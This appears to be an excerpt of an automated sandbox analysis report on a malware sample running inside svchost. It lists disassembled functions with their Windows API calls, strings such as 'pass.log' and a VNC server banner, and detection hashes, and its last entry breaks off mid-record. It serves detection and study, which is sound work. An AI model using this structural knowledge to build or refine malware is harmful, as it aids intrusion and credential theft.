GetLastError.KERNEL32 ref: 02C83079
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830AC
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830D8
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830FF
SetLastError.KERNEL32(?), ref: 02C8317D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast
String ID:
API String ID: 2886163261-0
Opcode ID: fff302ee3b30c264ee0b45909c7ee0650ba2af0419d9d1cd90c9113fc6f59942
Instruction ID: c22fec3debad68109ae53af3713d6f3bc022abe314a829566c38cd502efa383c
Opcode Fuzzy Hash: fff302ee3b30c264ee0b45909c7ee0650ba2af0419d9d1cd90c9113fc6f59942
Instruction Fuzzy Hash: 6C410070D002589FDB10DFA8DC84ABEBBF5EB49B14F14856AE854E7300D7749A41CF90

Function 02C82E10 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 02C82E19
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C82E4C
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C82E78
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C82E9F
SetLastError.KERNEL32(?), ref: 02C82F1D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast
String ID:
API String ID: 2886163261-0
Opcode ID: 12f742ba83e8cffd235c606aaf56fba24025ccdf7a34fec089671cba5c95c871
Instruction ID: 3d0eeb836fa8633fc1b3138ef879ea6f560b6d7889179de6900c53933034e2cc
Opcode Fuzzy Hash: 12f742ba83e8cffd235c606aaf56fba24025ccdf7a34fec089671cba5c95c871
Instruction Fuzzy Hash: FA414071D00258AFDB10DFA8D888AAEBBF5FF48314F50856AE809E7200D3749A41CF91

Function 02C713C0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 02C713EE
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7142A
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C71456
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7147D
SetLastError.KERNEL32(?), ref: 02C714A8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast
String ID:
API String ID: 2886163261-0
Opcode ID: 2384ea9097a833b24d5b8108a4602d841b8cc338c89f456d74cb20a2ae7ef3d8
Instruction ID: 1d0cbe58a42e6112b8ddfa8b43695c8949b580d3d940c60503325a504768526f
Opcode Fuzzy Hash: 2384ea9097a833b24d5b8108a4602d841b8cc338c89f456d74cb20a2ae7ef3d8
Instruction Fuzzy Hash: C531BFB1D10209AFDB40DFA8D885AEE7BF9FB4C310F11856AE919E7240E37499418F90

Function 02C881F0 Relevance: 7.6, APIs: 5, Instructions: 89networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 02C88212
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C88243
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C8826F
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C88296
WSASetLastError.WS2_32(?), ref: 02C882C9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast
String ID:
API String ID: 2886163261-0
Opcode ID: b819b516573bc4f912785a3247e2323c5e7f75cb7350b74a62e991f6c2d5373a
Instruction ID: 06586e1eaa10fa555cb0fbba212fe2088047078a4de0b2aeeb16aef29d23f064
Opcode Fuzzy Hash: b819b516573bc4f912785a3247e2323c5e7f75cb7350b74a62e991f6c2d5373a
Instruction Fuzzy Hash: 6B31B8B5D0020CAFDB40DFA9D984AEEBBF5FB48304F11856AE914E7200E7749A40CFA1

Function 02C97130 Relevance: 7.6, APIs: 5, Instructions: 85timeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,02C97604), ref: 02C97163
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,0000002C,00000044,00000030,0000003C,?,?,?,?,?,?,?,02C97604), ref: 02C9718B
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,?,02C97604), ref: 02C971B5
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,02C97604), ref: 02C971C3
FileTimeToDosDateTime.KERNEL32(?,02C97604,?), ref: 02C971D5

Part of subcall function 02C96C70: GetFileType.KERNEL32(?,00000000,00000000), ref: 02C96C79

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileTime$Type$DateLocalPointerSystem
String ID:
API String ID: 60630809-0
Opcode ID: 518137f2a91d0527747787b4f28273167a0e4f474879d59b772cf3842829abf8
Instruction ID: d1af3c16b96baf0a17358377f1a509a5044f62bde0d5554f7e539b76d6eef2d2
Opcode Fuzzy Hash: 518137f2a91d0527747787b4f28273167a0e4f474879d59b772cf3842829abf8
Instruction Fuzzy Hash: 8B2171B29017449FC721CF6AD9C49ABFBFCFB88214B500A6EE59AC3940D771E508CB20

Function 02C936A0 Relevance: 7.6, APIs: 5, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,02C822AB,00000000,00010108,?,00000000), ref: 02C936DF
RegEnumKeyExA.ADVAPI32(?,00000000,?,80000001,00000000,00000000,00000000,00000000,00000000), ref: 02C93714
RegCloseKey.ADVAPI32(?), ref: 02C9373E
RegDeleteKeyA.ADVAPI32(00000104,02C822AB), ref: 02C93756
RegCloseKey.ADVAPI32(?), ref: 02C93762

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: a22b862fa647e953029aae80ff2f96f161f4a9ea18174d0d1adeba07f20360f8
Instruction ID: 7fb592411c16b9625478df549eae7303d651cc39d5f0bd80f854c0c5892efd56
Opcode Fuzzy Hash: a22b862fa647e953029aae80ff2f96f161f4a9ea18174d0d1adeba07f20360f8
Instruction Fuzzy Hash: 0A217476E40158ABDB21DA58DC48FEAB7ACEF85B10F1082D5FD44EB240D7B1AE548BD0

Function 02C718C0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02C718FF
free.MSVCRT ref: 02C71928
exit.MSVCRT ref: 02C71933
memcpy.MSVCRT(00000000,02C75DF9), ref: 02C71943
free.MSVCRT ref: 02C71963

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free$exitmallocmemcpy
String ID:
API String ID: 2377537114-0
Opcode ID: 8395759df2680560837155c9172614cfa67c7f3d6aaca21d69cc930b074bc6fd
Instruction ID: c08f22b8a041d20cf0afc80c082c48cf2a026f55f6d974c7d19bec6c713f0404
Opcode Fuzzy Hash: 8395759df2680560837155c9172614cfa67c7f3d6aaca21d69cc930b074bc6fd
Instruction Fuzzy Hash: E52190B1A0024AAFC714CF59E480B6ABBF5FF89304F14892CD98EC7300E771A661CB85

Function 02C76189 Relevance: 7.6, APIs: 5, Instructions: 54memoryregistrystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02C761EA
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C761F1
memset.MSVCRT ref: 02C76205
lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02C7621E
RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02C7622C

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseProcesslstrcpynmemset
String ID:
API String ID: 3057210225-0
Opcode ID: 7bea04ede20f95714734c4022fbc73ad228c7d020ed77ea41a7ec876b47ed26c
Instruction ID: 4f0b01245737fa7da752c37295db53623940fa9153e1b90dd3e3a415debeda5d
Opcode Fuzzy Hash: 7bea04ede20f95714734c4022fbc73ad228c7d020ed77ea41a7ec876b47ed26c
Instruction Fuzzy Hash: 1B114E31E815981BEB2B9774AC0DBDD779CEF5C704F1049E9EA49D7181D3B08A848B91

Function 02C7C2B0 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 02C7C2C2
GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C7C2D9
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7C2EF
CloseHandle.KERNEL32(00000000), ref: 02C7C300
ExtractIconExA.SHELL32(?,00000000,?,00000000,00000001), ref: 02C7C317

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$CloseExtractFileIconInformationModuleNameOpenProcess
String ID:
API String ID: 1270303404-0
Opcode ID: ffefde84407ffa3bf936f714ec4d8c0ba9547b0d4e51b9316abd8307bece1bdc
Instruction ID: fa5839e23e620cd07b6d641c22ee302d381c8dd328d23801ca2f16bbda693b11
Opcode Fuzzy Hash: ffefde84407ffa3bf936f714ec4d8c0ba9547b0d4e51b9316abd8307bece1bdc
Instruction Fuzzy Hash: CB016D31A81658BBE721DB909D09FEABB7CAB05700F004685BE05A61C0DBB05B84CAA9

Function 02C7D330 Relevance: 7.5, APIs: 5, Instructions: 37threadwindowCOMMON

Download Yara Rule

APIs

SetThreadDesktop.USER32(?,?,00000000,76233080,?,02C782BC,?,00000006,00000000), ref: 02C7D33C
GetWindow.USER32(00000000,00000005), ref: 02C7D353
GetWindow.USER32(00000000), ref: 02C7D356
SendMessageA.USER32(00000000,00000006,?,02C782BC), ref: 02C7D36D
GetWindow.USER32(00000000,00000003), ref: 02C7D372

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$DesktopMessageSendThread
String ID:
API String ID: 3855296974-0
Opcode ID: 44198578d312c57fc9eb2ae3cdbaf9db90f23ab8b14fd1f3ee048e683ca965c8
Instruction ID: ac6f0cea62db6b4614dbee0b083b0783286056901d2d81e97fb8edad2a23fa5b
Opcode Fuzzy Hash: 44198578d312c57fc9eb2ae3cdbaf9db90f23ab8b14fd1f3ee048e683ca965c8
Instruction Fuzzy Hash: F0F08276A807187FD622DB55EC88FABB7ACEFC8B60F014605F90497340CA70ED118AB0

Function 02C7C330 Relevance: 7.5, APIs: 5, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7C33C
GetCurrentThreadId.KERNEL32 ref: 02C7C344
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02C7C350
SendMessageA.USER32(?,0000000D,?,?), ref: 02C7C361
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02C7C36D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Thread$AttachInput$CurrentMessageProcessSendWindow
String ID:
API String ID: 2643679612-0
Opcode ID: dcb0cf830bf581fd3f1da6442162149c9e39e46a52e7eb12a6fd96775cb7a615
Instruction ID: 959e801d460fe618b7d861801d82dddbef8d6917c6acba2e40b479354d5c2cc3
Opcode Fuzzy Hash: dcb0cf830bf581fd3f1da6442162149c9e39e46a52e7eb12a6fd96775cb7a615
Instruction Fuzzy Hash: 65F03732680344BBD7115BA5EC8DF9BBF6CEB89761F004955FA05C7241C575DC118A70

Function 02C7D2F0 Relevance: 7.5, APIs: 5, Instructions: 30threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7D2FA
GetCurrentThreadId.KERNEL32 ref: 02C7D302
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,02C78F74,?,?,?,?,02C78500,?,?), ref: 02C7D314
GetFocus.USER32 ref: 02C7D316
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,02C78F74,?,?,?,?,02C78500,?,?), ref: 02C7D323

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Thread$AttachInput$CurrentFocusProcessWindow
String ID:
API String ID: 968181190-0
Opcode ID: 147987f55d11e5604dcac225d12b0c0a976c67476d363a4c1d756db7917f9057
Instruction ID: 28bfdfac62720a456aaab90a63a047adc048fab3a29c7a037b15124af4f38da9
Opcode Fuzzy Hash: 147987f55d11e5604dcac225d12b0c0a976c67476d363a4c1d756db7917f9057
Instruction Fuzzy Hash: 05E0D832E80254BBD71257B6AC4DF9BBFACEB85761F100A95FA08C3241D575DC108AB0

Function 02C873B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strncpy.MSVCRT ref: 02C87461

Part of subcall function 02C86DE0: fseek.MSVCRT ref: 02C86E04
Part of subcall function 02C86DE0: fwrite.MSVCRT ref: 02C86E17

fseek.MSVCRT ref: 02C873EA
fread.MSVCRT ref: 02C87408

Strings

7f1bf8b2, xrefs: 02C873B0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: fseek$freadfwritestrncpy
String ID: 7f1bf8b2
API String ID: 3817246059-2242988197
Opcode ID: a79c007313c34b4014313cf13caa20cf08d1be367463825b5006dbe7b7b136ba
Instruction ID: b8e7cecda93eb0dead1d0f925f56b964769aedb0d50f87b117b0d37f1e7c93e9
Opcode Fuzzy Hash: a79c007313c34b4014313cf13caa20cf08d1be367463825b5006dbe7b7b136ba
Instruction Fuzzy Hash: 0631A479A006418FC731DB28D484B22FBE5EFC5218F288A9DD48587752E335E8C9CFA1

Function 02C7FE80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64networkCOMMON

Download Yara Rule

APIs

HttpAddRequestHeadersA.WININET(?,?,?,A0000000), ref: 02C7FEF3
HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02C7FF02

Strings

Accept-Encoding:, xrefs: 02C7FEFC
(, xrefs: 02C7FEC0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HeadersHttpRequest
String ID: ($Accept-Encoding:
API String ID: 1754618566-3981465706
Opcode ID: 92cc8b8512d096f058db4953c44d0e11fec2a3b11213a36eb77430e54254dbda
Instruction ID: 16e37e555267c3db740efa0454b5c3534b8a44a3dd256ca26184706643e49a1d
Opcode Fuzzy Hash: 92cc8b8512d096f058db4953c44d0e11fec2a3b11213a36eb77430e54254dbda
Instruction Fuzzy Hash: 1E11FCB1904345AFD750DF29D880B6BBBE8EB88654F004A2EF959D3241D730D904CBA2

Function 02C8E1B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfde3), ref: 02C8E1D7
PathFileExistsA.SHLWAPI(?), ref: 02C8E240

Strings

pass.log, xrefs: 02C8E21F
7f1bfde3, xrefs: 02C8E1D2, 02C8E1DD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashExistsFile
String ID: 7f1bfde3$pass.log
API String ID: 1760361154-3631098846
Opcode ID: 0f27a7be032a33f1b8d52846a28b0450dff6c1478a75e100e02a8c87b137c549
Instruction ID: cde347b72a7618a63202c6e584855481142a0c40c80e2d4882351e2cace664e9
Opcode Fuzzy Hash: 0f27a7be032a33f1b8d52846a28b0450dff6c1478a75e100e02a8c87b137c549
Instruction Fuzzy Hash: 81112B715046994BC71A8B3CA8A86F7BFE49BC6304B24C6D5ECC987302EA308949C780

Function 02C89E20 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C89E47
PathFileExistsA.SHLWAPI(?), ref: 02C89EB0

Strings

7f1bfc59, xrefs: 02C89E42, 02C89E4D
pass.log, xrefs: 02C89E8F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashExistsFile
String ID: 7f1bfc59$pass.log
API String ID: 1760361154-3278540732
Opcode ID: be7b6c987aa3d220cdda1caf0a4590d45fe6b181e66e5c7acfde767982866702
Instruction ID: 2add8cb599504d2a3b1d67521bf6efbf4b2cffcf118477a8d1f83b98a0b0296f
Opcode Fuzzy Hash: be7b6c987aa3d220cdda1caf0a4590d45fe6b181e66e5c7acfde767982866702
Instruction Fuzzy Hash: 9C112B725046D54BD7168B6CA6A46F3BFE5DBD6305F24C6D8DCCA87300EA308949C780

Function 02CA2040 Relevance: 6.3, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 02CA205B
free.MSVCRT ref: 02CA206D
free.MSVCRT ref: 02CA207F
free.MSVCRT ref: 02CA2091
free.MSVCRT ref: 02CA209B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 375dcdb8f9d8c053798a386486593617f9a7364776c0a6d9b002b71cefc70fbb
Instruction ID: 32decc90f6327c08c48a5e4470352e3794319a5cb4ff2731381c70f0029124e5
Opcode Fuzzy Hash: 375dcdb8f9d8c053798a386486593617f9a7364776c0a6d9b002b71cefc70fbb
Instruction Fuzzy Hash: 110140B2A017925FD730DFA998A241BBAD57D8010C359893DD9DB87A04D332EA48D683

Function 02C999D0 Relevance: 6.2, APIs: 4, Instructions: 248COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02C99A29
realloc.MSVCRT ref: 02C99A35
malloc.MSVCRT ref: 02C99A5B
realloc.MSVCRT ref: 02C99A67

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: mallocrealloc
String ID:
API String ID: 948496778-0
Opcode ID: 617ddba0da475d12365199744d1ab891e5c667aa76b892f5b1f441804cd25320
Instruction ID: 6cde7e2f18e87d6f173b652e2c6a1794951f391c4f574f69ca29a89e7ee0b19a
Opcode Fuzzy Hash: 617ddba0da475d12365199744d1ab891e5c667aa76b892f5b1f441804cd25320
Instruction Fuzzy Hash: DA91D072E402559FCF14CF68CD89BAA3BA6FF84305F1445BDED099B342D674A911CBA0

Function 02CA29B0 Relevance: 6.2, APIs: 4, Instructions: 248COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02CA2A09
realloc.MSVCRT ref: 02CA2A15
malloc.MSVCRT ref: 02CA2A3B
realloc.MSVCRT ref: 02CA2A47

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: mallocrealloc
String ID:
API String ID: 948496778-0
Opcode ID: 3d40dffe10013fffd5ae44fd307643510c6ad2ac8a2ee88332ed811f9e5f3228
Instruction ID: 4f4f3afa43a001937bef1278ed365547be65adbf3fd40dbb2645ab194026c166
Opcode Fuzzy Hash: 3d40dffe10013fffd5ae44fd307643510c6ad2ac8a2ee88332ed811f9e5f3228
Instruction Fuzzy Hash: CD91E371E402168FDB14CF64DC90BEA7BA5EF84309F1445B9ED0A9B345D634AD12CBE1

Function 02C9E8C0 Relevance: 6.1, APIs: 4, Instructions: 146COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 02C9E8EB
closesocket.WS2_32(?), ref: 02C9E950
closesocket.WS2_32(?), ref: 02C9E9C0
closesocket.WS2_32(?), ref: 02C9EA30

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: c3624851fb6fa9ff8d6a0b37a51e9ad6e4dd1301b963aaafc1a1860065f70463
Instruction ID: 1f5c1bca1454f4497758cdfbd9b6462781be5221fc9b1ed8a8ef1214c8089ceb
Opcode Fuzzy Hash: c3624851fb6fa9ff8d6a0b37a51e9ad6e4dd1301b963aaafc1a1860065f70463
Instruction Fuzzy Hash: 56510370140B019BCB65CF29C8887D6B7A6FBA5328F75CA1AC46B87294EF31E546CB50

Function 02C9BBD0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02C9BC02

Strings

unknown, xrefs: 02C9BBEB, 02C9BBF5
LibVNCServer 0.9.7, xrefs: 02C9BBF0
%s (%s), xrefs: 02C9BBFC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s (%s)$LibVNCServer 0.9.7$unknown
API String ID: 2111968516-696653274
Opcode ID: 6f2b4592c0379c54cd2e22e6550db7af00e3b4b6c991f6b1c1509ecc040b68af
Instruction ID: f3a6578cfe0d99802cf4209567976f5db84ca5528890942b20ec814025212247
Opcode Fuzzy Hash: 6f2b4592c0379c54cd2e22e6550db7af00e3b4b6c991f6b1c1509ecc040b68af
Instruction Fuzzy Hash: BA41D631A0465A5FDF01CF28D9A8BE67BA5EF85305F0481F5DD0D9F206DB74A60ACBA0

Function 02C81130 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C81152
GetParent.USER32(?), ref: 02C8115E
GetWindowTextW.USER32(00000000,?,00000104), ref: 02C81175
StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02C81196

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
